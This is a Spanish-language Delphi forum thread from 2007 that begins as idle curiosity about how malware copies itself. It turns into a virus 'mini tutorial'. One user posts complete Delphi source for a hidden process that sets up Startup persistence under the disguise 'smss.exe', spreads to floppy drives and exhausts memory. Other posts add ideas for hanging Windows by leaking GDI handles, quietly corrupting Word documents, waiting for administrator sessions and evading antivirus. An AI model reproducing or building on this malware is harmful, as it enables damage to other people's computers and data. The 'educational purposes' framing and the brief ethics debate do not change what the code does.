PDA

Ver la Versión Completa : curiosidad de viernes (copia de un fichero a si mismo)


bastardo10
22-06-2007, 11:34:38
Hola, como hoy es viernes, y no tengo mucho que hacer:D, ademas estoy espeso! :cool:
me ha entrado una duda, como hacen los virus, malware, etc para copiarse a si mismos!.
esto es algo que nunca me he planteado hacer en una aplicacion, ya que un ejecutable que se copia a si mismo no tiene mucha utilidad, o por lo menos yo no lo he necesitado.
asi que si alguien sabe algo, o tiene ideas, que las exponga, haber si sale un hilo interesante! ;)

seoane
22-06-2007, 11:43:34
Pues con CopyFile :D

bastardo10
22-06-2007, 11:52:40
no jorobes que eso funciona!con el fichero abierto, es tan sencillo? puff hoy si que estoy espeso!:cool:

Ñuño Martínez
22-06-2007, 12:11:20
Claro. Cuando ejecutas un programa, su archivo ejecutable suele bloquearse como sólo lectura, por lo que se puede seguir abriendo para lectura.

bastardo10
22-06-2007, 12:46:22
bueno, se me pasa la resaca y la empanada y quizas queda mas bonito, utilizando TFileStream
ademas el ejemplo para torpes (I'm) de la delphi, lo dice claro.
procedure TForm1.Save1Click(Sender: TObject);

var
NewFileName: string;
Msg: string;
NewFile: TFileStream;
OldFile: TFileStream;
begin
NewFileName := ExtractFilePath(Application.ExeName) + ExtractFileName(Edit1.Text);
Msg := Format('Copy %s to %s?', [Edit1.Text, NewFileName]);
if MessageDlg(Msg, mtCustom, mbOKCancel, 0) = mrOK then
begin
OldFile := TFileStream.Create(Edit1.Text, fmOpenRead or fmShareDenyWrite);
try
NewFile := TFileStream.Create(NewFileName, fmCreate or fmShareDenyRead);

try
NewFile.CopyFrom(OldFile, OldFile.Size);
finally
FreeAndNil(NewFile);
end;
finally
FreeAndNil(OldFile);
end;
end;

end;

seoane
22-06-2007, 12:53:58
Y no es mas sencillo usar CopyFile :confused:

bastardo10
22-06-2007, 12:58:45
Pues si, pero asi queda mas impresionate!:rolleyes:
la cuestion es aparentar!:D
gracias por la ayuda!

seoane
22-06-2007, 13:05:23
Si es cuestión de hacer las cosas mas difíciles de lo que son, te recomiendo que aprendas a programar en brainfucker :p :D

http://delphi.jmrds.com/?q=node/9

xEsk
22-06-2007, 13:46:54
Si es cuestión de hacer las cosas mas difíciles de lo que son, te recomiendo que aprendas a programar en brainfucker :p :D

http://delphi.jmrds.com/?q=node/9

El nombre le viene como anillo al dedo... xD

Saludos.

egostar
22-06-2007, 17:09:29
Si es cuestión de hacer las cosas mas difíciles de lo que son, te recomiendo que aprendas a programar en brainfucker :p :D

http://delphi.jmrds.com/?q=node/9

:D:D:D, Muy buena respuesta

Salud OS.

cHackAll
23-06-2007, 03:23:52
Llego tarde????? espero que no! lo de "aparentar" que leí hace un cacho no le veo la gracia, mientras el Virus sea más portable pues mejor porque al copiarse no debe notarce el hecho... queremos hacer un mini tutorial de cómo hacer virus? haber comiencemos con la idea del CopyFile:

En primer lugar debemos crear una aplicacion de tipo "consola", pues no queremos que los enumeradores de ventanas detecten algo "sospechoso"... así que le damos a nueva Consola y borramos "program Project?;" pues con esto no ganamos en ESTE caso nada, tambien debemos borrar la directiva:
"{$APPTYPE CONSOLE}" pues tampoco queremos que se visualice una consola... solo queremos un proceso que jorobe no?

Luego reemplazamos "uses SysUtils;" por "uses Windows;", el motivo es que la primera unidad utiliza más o menos 16 Kb que no queremos tener cargados.


uses Windows;

var
hKey: Windows.HKEY;
FileName: array [0..MAX_PATH-1] of Char;
Size: Cardinal = SizeOf(FileName);

label Back;
begin
RegOpenKey(HKEY_CURRENT_USER, 'Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders', hKey);
RegQueryValueEx(hKey, 'Startup', nil, nil, @FileName, @Size);
RegCloseKey(hKey);
SetCurrentDirectory(@FileName); // Nos vamos a la carpeta de inicio del usuario para que al levantar la compu corra el virus...
SetErrorMode(SEM_FAILCRITICALERRORS); // Quitamos los mensajes de error propios del S.O. que no sean GRAVES
GetModuleFileName(0, @FileName, SizeOf(FileName)); // Obtenemos el ParamStr(0);
if Byte(FileName[0]) or $20 = Ord('a') then // Si me estoy ejecutando de la unidad A: significa que alguien es curioso :D
begin
CopyFile(@FileName, 'smss.exe', False); // me copio al "Inicio"
WinExec('smss.exe', 0); // ejecuto mi copia
Exit; // me salgo
end;
CreateFile(@FileName, GENERIC_READ, FILE_SHARE_READ, nil, OPEN_EXISTING, 0, 0); // Me abro para que no me puedan renombrar
Back: Sleep(66600); // En intervalos de un minuto con 6 segundos y 600 centesimas
CopyFile(@FileName, 'a:\mozka.cmd', False); // Intento copiarme...
GlobalAlloc(GMEM_FIXED, 1024*1024*66); // y de paso... la "gracia" del "virus"... asigno 66 megas (GetMem)
// a mi propio proceso para que algun momento el Güindos haga lo "suyo" :D
goto Back;
end.


Use el smss.exe pues no se puede finalizar... bájense el UPX, comprimanlo y haber que tan grande es el "producto"
PD: 0j0 que fue con fines educativos

Saludos.

seoane
23-06-2007, 03:37:39
Eso de que no se puede matar es porque no cuentas con un buen asesino :D

Este por ejemplo: http://www.clubdelphi.com/foros/showpost.php?p=186064&postcount=20

Y lo que me parece curioso es el uso de goto en vez de bucle while o repeat ¿existe alguna razón que se me escapa? :confused:

Y ya puestos a hacer daño, con fines educativos, yo lo que haría seria abrir handles como un loco hasta que el sistema se quedara sin recursos.

Esto de fantasear con virus era mas divertido cuando los mega antivirus no controlaban los ordenadores y podías hacer lo que querías con unas pocas instrucciones, ahora hasta para lo mas simple necesitas demasiado trabajo para que resulte entretenido hacer nada. :(

cHackAll
23-06-2007, 18:02:10
Eso de que no se puede matar es porque no cuentas con un buen asesino...

Momento estamos hablando de un Virus simple el cual va a atacar a un usuario NO avanzado, experto o mucho menos un programador... obviamente que si cae en buenas manos, no se nesitara ni siquiera el código que nos dejaste... simplemente habra que decirle al taskmgr.exe que el "smss.exe" no es lo que dice ser :D

...Y lo que me parece curioso es el uso de goto en vez de bucle while o repeat ¿existe alguna razón que se me escapa?...

Pues por mis tendencias en programacion he aprendido a ahorrar en lo que a ejecutable se refiere. Cuando utilizas un while o repeat EN ESTE CASO tendrias que hacer un "while True do" o en su defecto un "repeat ... until False;", lo que produce una "evaluacion" que debe ser procesada por el microprocesador... con un simple goto, no realizas dicha evaluacion y reduces la cantidad de opcode que tendra tu ejecutable.

Y ya puestos a hacer daño, con fines educativos, yo lo que haría seria abrir handles como un loco hasta que el sistema se quedara sin recursos.

Me parece una idea interesante.... te refieres a Handles de cualquier clase? si estamos en esas, aconsejo madurar la idea para los maliciosos con abrir handles de Brush, Pen, Font, Etc... lo que provocará un error a la larga del GDI32 (Graphical Device Interface) del Güindos "= Colgada segura".

Esto de fantasear con virus era mas divertido cuando los mega antivirus no controlaban los ordenadores y podías hacer lo que querías con unas pocas instrucciones, ahora hasta para lo mas simple necesitas demasiado trabajo para que resulte entretenido hacer nada. :(

No me parece que sea fanasear, lo que define a un Hacker o Guru son los conocimientos, y los conocimietos que permiten que no sean fantasias estan dados por el dominio de la plataforma... Un antivirus: Ej. Kasp, nod, etc... no "conocen" los nuevos virus pues cuentan con una BD de muestras de los virus conocidos, o de las "instrucciones" maliciosas, pero un proceso como ya vimos puede ser finalizado, y un servicio tambien. Lo de las muchas instrucciones es cierto... pero si orientamos bien lo que queremos hacer pues tendremos buenas recompenzas por el trabajo realizado :)

Lamento entusiasmarme pero es un buen tema.

Saludos

seoane
23-06-2007, 18:30:09
Pues por mis tendencias en programacion he aprendido a ahorrar en lo que a ejecutable se refiere. Cuando utilizas un while o repeat EN ESTE CASO tendrias que hacer un "while True do" o en su defecto un "repeat ... until False;", lo que produce una "evaluacion" que debe ser procesada por el microprocesador... con un simple goto, no realizas dicha evaluacion y reduces la cantidad de opcode que tendra tu ejecutable.

Eso seria verdad si delphi no fuera tan listo. Por ejemplo esto:

while TRUE do
begin
Sleep(200);
end;

Lo codifica de la siguiente manera:

push $000000C8
call Sleep
jmp -$0C

Y yo no veo la "evaluación" por ninguna parte :D



Me parece una idea interesante.... te refieres a Handles de cualquier clase? si estamos en esas, aconsejo madurar la idea para los maliciosos con abrir handles de Brush, Pen, Font, Etc... lo que provocará un error a la larga del GDI32 (Graphical Device Interface) del Güindos "= Colgada segura".

Buena elección, yo también escogería los handle gráficos, esos aseguran un cuelgue seguro :D


Un antivirus: Ej. Kasp, nod, etc... no "conocen" los nuevos virus pues cuentan con una BD de muestras de los virus conocidos, o de las "instrucciones" maliciosas, pero un proceso como ya vimos puede ser finalizado, y un servicio tambien.

No conocen a todos, por eso usan heurística. Y algunos antivirus actuales primero disparan y luego preguntan, prácticamente todo les parece sospechoso. Es verdad que podíamos empezar por atacar al antivirus, lo malo es que se defienden, hasta el mas normalito tiene hook en todas las apis importantes y en cuanto detectan una actividad sospechosa (por ejemplo que los intentan cerrar o inyectar) se lo toman muy mal :p

Héctor Randolph
23-06-2007, 19:19:45
Ahora que veo el tutorial de creación de un virus que publicó cHackAl, he notado que apesar de ser un programa malicioso, lo único que pretende es agotar los recursos y terminar bloqueando al sistema operativo. Esta misma filosofía siguen muchos de los virus actualmente, y mi pregunta es: ¿si tienen la posibilidad de hacer más daño, por qué no lo han hecho?.

Me refiero a que la mayoría de los usuarios vivimos bajo la amenaza de que algún día un virus muy listo podría arruinar toda nuestra información, podríamos perder todo el trabajo de meses, nos podrían dañar el disco duro, etc. Sin embargo, en la realidad no es así, algunos virus solamente te hacen saber que están ahí y su recompensa la obtienen al saber que te costará trabajo deshacerte de ellos.

Imagino un escenario con un grupo de virus de tipo sasser que se propagen por la red con facilidad y con la orden directa de eliminar todos los documentos de Office, los JPEG, los videos y la música. Más aún, dañar las particiones de los discos o la tabla de asignación de archivos. ¿Por qué no se ha presentado hasta hoy esta situación?

courtois
23-06-2007, 23:32:34
...lo que define a un Hacker o Guru son los conocimientos...
yo opino que no son los conocimientos sino lo que se hace con ellos, es decir la forma en que se emplean, destruir es mas facil que construir, el lado oscuro de la programación no consiste en tener muchos o pocos conocimientos sino solo los necesarios para hacer el mal que se desea

Delphius
24-06-2007, 00:02:27
Imagino un escenario con un grupo de virus de tipo sasser que se propagen por la red con facilidad y con la orden directa de eliminar todos los documentos de Office, los JPEG, los videos y la música. Más aún, dañar las particiones de los discos o la tabla de asignación de archivos. ¿Por qué no se ha presentado hasta hoy esta situación?
Yo también me hago esa pregunta... y por el momento se la respondo con esto: "La información es poder" La mayoría no prefiere destruir, sino sacarte información (mejor dicho datos). ¿Para que esforzarse en destruir algo que posiblemente nos puede seguir siendo útil si le seguimos sacando?

yo opino que no son los conocimientos sino lo que se hace con ellos, es decir la forma en que se emplean, destruir es mas facil que construir, el lado oscuro de la programación no consiste en tener muchos o pocos conocimientos sino solo los necesarios para hacer el mal que se desea
Yo opino lo mismo.

Ahora yo me pregunto... ¿que tan bien definidas serán esas heurísticas? Porque yo hace tiempo... me hice un sistema de prueba que lo que hacía era explorar un directorio específico para extraer imagenes, con dicha imágenes generaba una imagen "promedio". Al dar RUN el AVG (o fue el Firewall.. no recuerdo bien) disparó: se ha encontrado un virus en C:\.....\bla\bla\Proyect1.exe y casualmente era mi sistemita de prueba. Tuve que darle la orden de ignorarlo y pude continuar. Yo no creería estar haciendo algo malo:o
Recuerdo haber borrado el sistema... tendría que fijarme si lo conservo. Es que al ser de prueba lo considero desechable:p Lo que sirecuerdo bien es que empleaba el componente Buscador que diseñó JM.

Saludos,

cHackAll
24-06-2007, 02:21:24
En primera acabo de leer que abri yo un "minitutuorial", no es cierto! este hilo comenzo con una pregunta de insomnio... y me gusto la idea de que haya algo diferente en el Club.

...Eso seria verdad si delphi no fuera tan listo...

En definitiva amigo seoane, el Delphi tiene una metodologia de optimizacion desde mi punto de vista realmente admirable, me agradó mucho llegar a hacer Debug a mis procesos y ver que es lo que sucede con los registros, instrucciones, etc... es genial no? Respondiendo a lo dicho y dirijido estrictamente a lo que comentaba del opcode; en el código inicial que dejé utilice lo menos posible del Delphi, no use ParamStr(0) o GetMem (por ejemplo), pues con el código dejado; alguien que sepa como declarar APIs en vb o Builder o que utilice una version que no optimice tan bien las instrucciones pues lo podrá hacer... y el asunto de la evaluacion será un dato de aprendizaje que podria llegar a interesar.

...lo malo es que se defienden, hasta el mas normalito tiene hook en todas las apis importantes y en cuanto detectan una actividad sospechosa (por ejemplo que los intentan cerrar o inyectar) se lo toman muy mal...

Lastimosamente para todos los que nos gusta jorobar es una traba molesta, sin embargo hay que intentar, y luego del fallo se produce un feedback de aprendizaje muy bueno. Así y todo no comparto el 100% la idea de que TODOS los antivirus realizan tal metodologia al pie de la letra...

...hice un sistema de prueba... ...Al dar RUN el AVG (o fue el Firewall.. no recuerdo bien) disparó: se ha encontrado un virus...

Allí otro contra a los confiados del antivirus! Otro aspecto... vieron los famosos "autorun.inf"... unos virus muy lindos que nacieron con el "copy.exe" y "host.exe" (no recuerdo el nombre del virus)... y bueno leí que ni si quiera en los adelantados países europeos se dieron por enterados de la presencia de éste, tal insidencia que llegaron a todo el mundo! y que es de esos magnificos Antivirus que se protegen y son magnificos?

...dañar las particiones de los discos o la tabla de asignación de archivos. ¿Por qué no se ha presentado hasta hoy esta situación?

Es simple desde humilde opinion, considero que hacer un virus que sea acesino, producuria la no repdroduccion del mismo... antes de asegurar la reproduccion del mismo llegaria a (como alguien decía) suicidarce! por que no le ponen un CountDown? de seguro que muchos lo hicieron pero hasta donde llegaron? solo los afectados lo sabran. Tambien cabe pero MUY bien al caso lo que nos dice Delphius, estuvo realmente SUPER:

"La información es poder" La mayoría no prefiere destruir, sino sacarte información (mejor dicho datos). ¿Para que esforzarse en destruir algo que posiblemente nos puede seguir siendo útil si le seguimos sacando?

Hace unos meses un cliente llego a mi casa llorando pues había perdido sus documentos! me parecio raro pero había ejecutado a un "gatito.exe"... que en realidad era una reproduccion en Flash que decia "te quiero". lo malo es que siendo un exe, es vulnerable a que alguien le meta un caballito y lo suba de nuevo. el caballito solo hacía "del" a los archivos de "Mis documentos". Y eso que tenía el último Kaspersky (6)... //No olvidemos que un "DeleteFile" "monitoreado" sería mucho fastidio (no digo que no haya).

...yo opino que no son los conocimientos sino lo que se hace con ellos, es decir la forma en que se emplean...

Fue un Hacker de sombrero blanco el que jorobo a Kevin Midnick en los '90, alguien que sigue siendo un Hacker y un Guru seguirá siendo al igual que el anterior un real conocedor... no dejaremos de se Hackers al emplear en bien o en mal nuestros conocimientos, si no al ser conocedores... el punto entonces creo que sería la termino que se le dá a éstos.

...sino solo los necesarios para hacer el mal...

De nuevo creo que caemos en un error, de "título (http://es.wikipedia.org/wiki/Categor%C3%ADa:Clasificaci%C3%B3n_de_Inform%C3%A1ticos)"

Hubo un problema con el Vista (por ejemplo), en el que en un comienzo no liberaron el nucleo o por lo menos no dejaron las suficientes instrucciones a los desarrolladores de antivirus y estos se molestaron, se comentaba que no sería necesario un antivirus en tal sistema operativo, etc, etc... bueno, tema aparte. No va directamente al tema pero leamos ésto (http://www.viruslist.com/sp/analysis?pubid=207270899) del Vista.

PD: Queremos más codigo????

SALUDOS

Delphius
24-06-2007, 20:53:26
Allí otro contra a los confiados del antivirus!
No quiero interpretar erróneamente lo que dices. ¿Me podrías indicar el sentido de la oración, si no es mucha molestia, con otras palabras?
Porque ha decir verdad, no se si entenderlo como una manera de decirme "otro tonto que confía" o por el contrario "que no confío". Me cuesta interpetar el significado estando la palabra contra en la oración.

De cualquier manera, aclaro que nunca me confío demasiado en un firewall o antivirus. Tengo la premisa (y no se que tan errado esté) de que "primero viene el virus y luego el antivirus" Asi que, es muy posible de que siempre se encuentren cosas que se les escapen a un antivirus.
Aplico backups en forma periódica, analizo mis archivos con más de un antivirus, y otras cosas más...

Y por las dudas, aclaro también, de que nunca hice un virus (al menos conscientemente). Si bien admito que leí un breve artículo de como realizar un gusano en pascal en aquellos días en que recién comenzaba a aprender lo que era un lenguaje.


el punto entonces creo que sería la termino que se le dá a éstos
Es cierto, hay que llamar a cada uno por su nombre. Y también, educar mejor a la sociedad que tan mal generaliza (si... es irónico el modo en que dije la frase pero es que ya me molesta:o)

Saludos,
PD: No estoy en contra tuya cHackAll. Admiro tu conocimiento y preocupación sobre la seguridad.

bastardo10
25-06-2007, 08:39:35
Bueno mi pregunta fue resacosa, y por simple curiosidad, pero me llama la atencion el planteamiento.
supongo que una forma de plantear el desarrollo de un virus maligno, seria que en primer lugar no se detectase. eso es facil debido al sistema de firmas que utilizan los antivirus (cualquier ejecutable recien compilado).
luego continuariamos con lo que debe de hacer nuestro elemento. Las ordenes de modificacion de tablas de fat o acceso a zonas de memoria exoticas , usurpacion de hilos de ejecucion, modificacion de librerias, escritura en el registro etc, suelen estar monitorizadas, pero las ordenes de ejecucion sencillas no!
asi que si el bichito en cuestion se limitase a esas ordenes, abrir fichero ejem(*.doc) buscar caracter ('x') y reemplazar('Y') cerrar fichero. tendriamos un programita que tocaria mucho las narices.
luego esta lo de "copiarse" eso es facil, y lo de la ocultacion eso tambien es facil (windows es largo), pero una de las cosas basicas, seria que comprobase si el usuario es "Admin" si no lo es mejor que el bicho no hiciese nada y se quedase en algun "sitio?" a la espera de mejores oportunidades, esta idea no es nueva ya que vi algo en algun sitio parecido.
y una vez que algun "admin" iniciase sesion, la puerta esta abierta!
lo de la modificacion de "Docs" se basa en la presmisa de generar una corrupcion de datos a largo plazo, lo cual tecnicamente causa mucho mas daño que el "cuelge del sistema" ya que corrompemos la informacion de las copia de seguridad.
pero todo esto no es nuevo, y los antivirus no pueden monitorizar de formar heuristica las ordenes sencillas, ya que estas aparecen como inofensibas enla pila de ejecucion.
"Pero esto es solo una reflexion resacosa" :cool:

bastardo10
25-06-2007, 09:11:45
P.D.
Para los que quieran jugar y ver lo "malos" que son sus codigos, esta esta URL. (http://www.virustotal.com/es/indexf.html)
es un proyecto interesante, pero creo que solo se basa en le hash y el md5 de los bichines.

http://www.virustotal.com/es/indexf.html

ha divertirse :D

cHackAll
25-06-2007, 21:05:04
... ¿Me podrías indicar el sentido de la oración, si no es mucha molestia, con otras palabras?...

No malentendamos lo dicho... no oriente mis comentarios a nadie en particular, pues el "contra" es aplicado a la confianza que todos tenemos para con los antivirus hasta el punto en que una aplicacion totalmente inofensiva como la que tu hiciste haya llegado a ser detectada como un virus (a mi tambien me sucedió)... sigo diciendo fue de verdad muy bueno el comentario "La información es poder"

PD: lo de tu ironía es aceptable :p, no me hago lios!
me voy a chkar las Urls que nos dejo nuestro amigo bastardo10.

Saludos!